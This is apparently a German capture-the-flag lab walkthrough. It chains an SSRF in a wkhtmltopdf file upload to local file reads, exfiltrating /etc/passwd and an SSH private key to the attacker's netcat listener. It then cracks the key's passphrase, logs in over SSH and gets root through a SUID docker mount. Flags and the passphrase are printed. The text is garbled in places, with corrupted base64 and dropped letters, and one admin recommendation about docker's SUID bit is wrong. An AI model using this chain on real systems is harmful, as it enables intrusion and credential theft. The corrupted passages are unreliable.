mFXNEtibTlpYjJSNU9uZzZalUxTXpRNk5qVTFNelE2Ym05aWIyUjVPaTl1YjI1bGVHbHpkR1Z1ZERvdmRYTnlMM05pYVc0dmJtXNiMmRwYmdwemVYTjBaVzFrTFc1bGRIZHZjbXM2ZURvNU9UZzZPVGs0T25NWMzUmxiV1FnVG1WMGQyXlheUJWVc1aFoyVnRaVzUwT2k4NkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2JXVnpjMkZuWldKMWN6cDRPakV3TURveE1EYzZPaTl1YjI1bGVHbHpkR1Z1ZERvdmRYTnlMM05pYVc0dmJtXNiMmRwYmdwemMyaGtPbmc2TVRBeE9qWTFVE0wT2pvdmNuVnVMM056YUdRNkwzVnpjaTl6WW1sdUwyNXZiRzluYVc0S2JXRnlkSGt1YldbWJIazZlRG94TURBd09qRXdNREE2T2k5b2IyMWxMMjFoY25SNUxtMWpabXg1T2k5aWFXNHZZbUZ6YUFwbGJXMWxkSFF1WW5KdmQyNDZlRG94TURBeE9qRXdNREU2T2k5b2IyMWxMMlZ0YldWMGRDNWljbTkzYmpvdlltbHVMMkpoYzJnSw]
root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin _apt:x:42:65534:/nonexistent:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin systemd-network:x:998:998:systemd Network Management:/:/usr/sbin/nologin messagebus:x:100:107:/nonexistent:/usr/sbin/nologin sshd:x:101:65534:/run/sshd:/usr/sbin/nologin marty.mcfly:x:1000:1000:/home/marty.mcfly:/bin/bash emmett.brown:x:1001:1001:/home/emmett.brown:/bin/bash
**Analyse:** Der Netcat-Listener empfängt eine GET-Anfrage an `/data=...`, wobei der Wert nach `data=` ein langer Base64-String ist. Die Anfrage stammt wieder von `wkhtmltopdf`. Der Base64-String wird mit CyberChef dekodiert und enthüllt den Inhalt der `/etc/passwd`-Datei.
**Bewertung:** Erfolgreicher Test der LFI durch die SSRF-Schwachstelle. Das JavaScript wurde serverseitig ausgeführt und hat `/etc/passwd` gelesen und gesendet. Die Benutzer `marty.mcfly` und `emmett.brown` werden bestätigt.
**Empfehlung (Pentester):** Ändern Sie den Dateipfad im JavaScript-Payload auf `file:///home/marty.mcfly/.ssh/id_rsa`, um den privaten Schlüssel zu exfiltrieren.
**Empfehlung (Admin):** LFI/SSRF dringend beheben!
**Schritt 4: Exfiltrieren des SSH-Schlüssels**
Der JavaScript-Payload in `ssrf.html` wird angepasst, um `id_rsa` zu lesen.
Request:
PST /process.php HTTP/1.1
...
...
readfile.open("GET","file:///home/marty.mcfly/.ssh/id_rsa", true);
Response:
**Analyse:** Zeigt den relevanten Teil der POST-Anfrage, bei dem der JavaScript-Payload in der hochgeladenen HTML-Datei nun versucht, `id_rsa` zu lesen.
**Bewertung:** Der Exploit wird nun auf die Zieldatei angewendet.
**Empfehlung (Pentester):** Senden Sie diesen Request und überwachen Sie den Listener.
**Empfehlung (Admin):** Keine Aktion.
listening on [any] 4444 ... connect to [192.168.2.199] from (UNKNWN) [192.168.2.114] 59580 GET /?data=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 HTTP/1.1 rigin: file:// User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.34 (KHTML, like Gecko) wkhtmltopdf Safari/534.34 Accept: */* Connection: Keep-Alive Accept-Encoding: gzip Accept-Language: en,* Host: 192.168.2.199:4444
**Analyse:** Der Netcat-Listener empfängt erneut eine GET-Anfrage von `wkhtmltopdf` vom Zielserver. Diesmal enthält der `data`-Parameter einen sehr langen Base64-String.
**Bewertung:** **Erfolg!** Der Base64-String enthält den privaten SSH-Schlüssel von `marty.mcfly`, der durch die LFI/SSRF-Kombination exfiltriert wurde. Der Schlüssel ist im OpenSSH-Format und scheint passwortgeschützt zu sein (wie die `-BEGIN OPENSSH PRIVATE KEY-` Zeile und der lange kodierte Block andeuten).
**Empfehlung (Pentester):** Dekodieren Sie den Base64-String, speichern Sie den Schlüssel in einer Datei (z.B. `ider`), setzen Sie die Berechtigungen auf 600 und versuchen Sie, die Passphrase mit `ssh2john` und `john` zu knacken.
**Empfehlung (Admin):** LFI/SSRF beheben! Überprüfen Sie, ob andere sensible Dateien auf diese Weise zugänglich sind.
**Schritt 5: Knacken der SSH-Schlüssel-Passphrase**
The authenticity of host '192.168.2.114 (192.168.2.114)' can't be established.
ED25519 key fingerprint is SHA256:q2oJVk8pvyNE1iEAucoSG9iwm1MeIlnMRT7L9fXkqzI.
This host key is known by the following other names/addresses:
~/.ssh/known_hosts:23: [hashed name]
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.2.114' (ED25519) to the list of known hosts.
Enter passphrase for key 'ider':
**Analyse:** Ein erster Versuch, sich mit dem exfiltrierten Schlüssel (`ider`) als `marty.mcfly` anzumelden. Es wird nach der Passphrase gefragt.
**Bewertung:** Bestätigt, dass der Schlüssel passwortgeschützt ist.
**Empfehlung (Pentester):** Fahren Sie mit dem Knacken der Passphrase fort.
**Empfehlung (Admin):** Keine Aktion.
CeWL 6.1 (Max Length) Robin Wood (robin@digi.ninja) (https://digi.ninja/)
**Analyse:** Das Tool `cewl` wird verwendet, um Wörter von der Webseite `http://future.nyx/1955.html` zu extrahieren (`-e` für E-Mail-Adressen, hier wahrscheinlich nicht relevant) und in die Datei `name_dicc1` zu schreiben.
**Bewertung:** Ein kreativer Ansatz, eine benutzerdefinierte Wortliste basierend auf dem Inhalt der Webseite (die "Zurück in die Zukunft"-Thema hat) zu erstellen, um die Passphrase zu knacken.
**Empfehlung (Pentester):** Verwenden Sie die generierte Wortliste `name_dicc1` mit John the Ripper.
**Empfehlung (Admin):** Keine Aktion.
Using default input encoding: UTF-8 Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64]) Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 2 for all loaded hashes Cost 2 (iteration count) is 16 for all loaded hashes Will run 16 penMP threads Press 'q' or Ctrl-C to abort, almost any other key for status inadvertently (ider) 1g 0:00:00:00 DNE (2024-09-03 23:59) 1.075g/s 137.6p/s 137.6c/s 137.6C/s future..because Use the "--show" option to display all of the cracked passwords reliably Session completed.
**Analyse:** John the Ripper wird mit der benutzerdefinierten Wortliste `name_dicc1` auf den extrahierten Hash des SSH-Schlüssels angesetzt.
**Bewertung:** **Erfolg!** John findet die Passphrase: `inadvertently`. Die benutzerdefinierte Wortliste war erfolgreich.
**Empfehlung (Pentester):** Melden Sie sich nun mit dem Schlüssel `ider` und der Passphrase `inadvertently` als `marty.mcfly` via SSH an.
**Empfehlung (Admin):** Verwenden Sie starke Passphrasen, die nicht aus dem Kontext der Anwendung oder des Systems erraten werden können.
Enter passphrase for key 'ider': inadvertently Linux future 6.1.0-18-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.76-1 (2024-02-01) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent permitted by applicable law. Last login: Tue Mar 26 10:38:34 2024 from 192.168.1.45 marty.mcfly@future$ id uid=1000(marty.mcfly) gid=1000(marty.mcfly) groups=1000(marty.mcfly)
**Analyse:** Erfolgreicher SSH-Login als Benutzer `marty.mcfly` unter Verwendung des exfiltrierten Schlüssels `ider` und der geknackten Passphrase `inadvertently`.
**Bewertung:** **Initial Access erreicht!** Wir haben eine interaktive Shell als Benutzer `marty.mcfly` auf dem Zielsystem.
**Empfehlung (Pentester):** Beginnen Sie mit der Enumeration für die Privilegienerweiterung.
**Empfehlung (Admin):** Widerrufen Sie den kompromittierten SSH-Schlüssel. Beheben Sie die SSRF/LFI-Schwachstelle.
**Risikobewertung:** Hoch. Die Kombination aus einer SSRF-Schwachstelle (ausgelöst durch unsichere Verarbeitung hochgeladener HTML-Dateien) und der Möglichkeit, lokale Dateien zu lesen (LFI durch serverseitige JavaScript-Ausführung), ermöglichte die Exfiltration eines privaten SSH-Schlüssels. Das Knacken der Schlüssel-Passphrase führte zu einem direkten Shell-Zugang als Benutzer `marty.mcfly`.
**Empfehlungen (Zusammenfassung):**
Wir haben eine Shell als `marty.mcfly`. Nun suchen wir nach Wegen, um Root-Rechte zu erlangen.
1062406 640 -rwsr-xr-x 1 root root 653888 Dec 19 2023 /usr/lib/openssh/ssh-keysign 1062369 52 -rwsr-xr-- 1 root messagebus 51272 Sep 16 2023 /usr/lib/dbus-1.0/dbus-daemon-launch-helper 1048014 36 -rwsr-xr-x 1 root root 35128 Mar 23 2023 /usr/bin/umount 1047858 48 -rwsr-xr-x 1 root root 48896 Mar 23 2023 /usr/bin/newgrp 1044597 68 -rwsr-xr-x 1 root root 68248 Mar 23 2023 /usr/bin/passwd 1048526 72 -rwsr-xr-x 1 root root 72000 Mar 23 2023 /usr/bin/su 1048012 60 -rwsr-xr-x 1 root root 59704 Mar 23 2023 /usr/bin/mount 1044593 64 -rwsr-xr-x 1 root root 62672 Mar 23 2023 /usr/bin/chfn 1074972 276 -rwsr-xr-x 1 root root 281624 Jun 27 2023 /usr/bin/sudo 1044596 88 -rwsr-xr-x 1 root root 88496 Mar 23 2023 /usr/bin/gpasswd 1061091 36 -rwsr-xr-x 1 root root 35128 Apr 18 2023 /usr/bin/fusermount3 1044594 52 -rwsr-xr-x 1 root root 52880 Mar 23 2023 /usr/bin/chsh 1068047 44516 -rwsr-xr-x 1 root root 45582984 May 18 2023 /usr/bin/docker
**Analyse:** Suche nach SUID-Dateien als Benutzer `marty.mcfly`.
**Bewertung:** Die Liste enthält viele Standard-SUID-Binaries, aber auch `/usr/bin/docker`. Eine SUID-Docker-Binary ist eine bekannte und sehr einfache Methode zur Privilegienerweiterung, da Docker standardmäßig Root-Rechte benötigt, um Container zu verwalten.
**Empfehlung (Pentester):** Nutzen Sie die Docker-SUID-Binary, um Root-Rechte zu erlangen. Der typische Weg ist, einen Container zu starten und das Root-Dateisystem des Hosts in den Container zu mounten.
**Empfehlung (Admin):** Entfernen Sie *niemals* das SUID-Bit von der Docker-Binary, wenn Docker normal funktionieren soll. Stattdessen sollte der Zugriff auf die Docker-Binary und die Docker-Gruppe (`docker`) stark eingeschränkt werden. Idealerweise sollten nur vertrauenswürdige Administratoren Docker ausführen dürfen, nicht reguläre Benutzer wie `marty.mcfly`.
**Analyse:** Suche nach Dateien mit Linux Capabilities.
**Bewertung:** Keine relevanten Capabilities gefunden.
**Empfehlung (Pentester):** Konzentrieren Sie sich auf Docker.
**Empfehlung (Admin):** Keine Aktion.
user.txt
fe12df45c64c362ec68abd9c27467e35
**Analyse:** Der User-Flag wird im Home-Verzeichnis von `marty.mcfly` gefunden und ausgelesen.
**Bewertung:** Erster Flag erfolgreich erfasst.
**Empfehlung (Pentester):** Notieren Sie den Flag.
**Empfehlung (Admin):** Keine Aktion.
emmett.brown marty.mcfly
-bash: ls-: command not found
. .. .bash_history .bash_logout .bashrc .profile
**Analyse:** Wechsel in das Home-Verzeichnis des anderen Benutzers `emmett.brown` und Auflisten der (versteckten) Dateien. Ein Tippfehler bei `ls -la` tritt auf.
**Bewertung:** Zeigt Standard-Konfigurationsdateien. Keine offensichtlich interessanten oder ungewöhnlichen Dateien vorhanden.
**Empfehlung (Pentester):** Überprüfen Sie `.bash_history`, falls vorhanden und lesbar.
**Empfehlung (Admin):** Home-Verzeichnis-Berechtigungen überprüfen.
(Leere Ausgabe, History existiert nicht, ist leer oder nicht lesbar)
**Analyse:** Versuch, die Bash-History von `emmett.brown` zu lesen.
**Bewertung:** Die History ist leer, nicht vorhanden oder für `marty.mcfly` nicht lesbar. Liefert keine weiteren Hinweise.
**Empfehlung (Pentester):** Fokus zurück auf den Docker-Exploit.
**Empfehlung (Admin):** Keine Aktion.
**Schritt zur Privilegienerweiterung mittels Docker**
Unable to find image 'alpine:latest' locally latest: Pulling from library/alpine c6a83fedfae6: Pull complete Digest: sha256:0a4eaa0eecf5f8c050e5bba433f58c052be7587ee8af3e8b3910ef9ab5fbe9f5 Status: Downloaded newer image for alpine:latest # id uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo) # id uid=0(root) gid=0(root) groups=0(root),1(daemon),2(bin),3(sys),4(adm),6(disk),10(uucp),11,20(dialout),26(tape),27(sudo)
**Analyse:** Der Docker-Befehl wird ausgeführt. * `docker run`: Startet einen neuen Container. * `-v /:/mnt`: Mountet das Root-Verzeichnis (`/`) des Host-Systems in das Verzeichnis `/mnt` innerhalb des Containers. Dies ist der Schlüssel zum Exploit. * `--rm`: Löscht den Container automatisch nach dem Beenden. * `-it`: Startet den Container interaktiv und weist ihm ein TTY (Terminal) zu. * `alpine`: Verwendet das schlanke Alpine Linux Image (wird heruntergeladen, falls nicht lokal vorhanden). * `chroot /mnt sh`: Führt den Befehl `chroot /mnt sh` innerhalb des Containers aus. `chroot /mnt` ändert das Root-Verzeichnis der Shell auf `/mnt` (was dem Root des Hosts entspricht). `sh` startet dann eine Shell in dieser neuen Root-Umgebung. Der `id`-Befehl wird innerhalb der resultierenden Shell ausgeführt.
**Bewertung:** **Privilege Escalation erfolgreich!** Der Docker-Befehl funktioniert wie erwartet. Da die Docker-Binary SUID-Root-Rechte hat und der Benutzer `marty.mcfly` sie ausführen darf, kann er das Host-System mounten und per `chroot` eine Root-Shell auf dem Host erhalten. Die Ausgabe von `id` bestätigt `uid=0(root)`. Der Befehl wurde zweimal ausgeführt, was redundant ist.
**Empfehlung (Pentester):** Sie haben nun vollen Root-Zugriff auf das Host-System. Navigieren Sie zum `/root`-Verzeichnis und lesen Sie die Root-Flag.
**Empfehlung (Admin):** Beschränken Sie den Zugriff auf die Docker-Binary und die Docker-Gruppe. Weisen Sie Docker nicht unnötigerweise SUID-Rechte zu (obwohl dies oft Standard ist).
fe12df45c64c362ec68abd9c27467e35
root.txt
69c965c53f43ec68d503247796604b3d
**Analyse:** Nachdem Root-Rechte über Docker erlangt wurden, wird in das `/root`-Verzeichnis gewechselt und die `root.txt`-Datei ausgelesen. Der User-Flag wurde bereits zuvor als `marty.mcfly` gelesen.
**Bewertung:** Beide Flags wurden erfolgreich gefunden und ausgelesen. Die Aufgabe ist abgeschlossen.
**Empfehlung (Pentester):** Dokumentieren Sie die Flags und den gesamten Prozess (SSRF -> LFI -> Key Exfiltration -> Key Cracking -> SSH Login -> Docker PrivEsc) im Bericht.
**Empfehlung (Admin):** Stellen Sie sicher, dass die SSRF/LFI-Schwachstelle in `process.php` behoben ist. Widerrufen Sie den kompromittierten SSH-Schlüssel und erzwingen Sie starke Passphrasen. Beschränken Sie den Zugriff auf Docker für nicht-administrative Benutzer.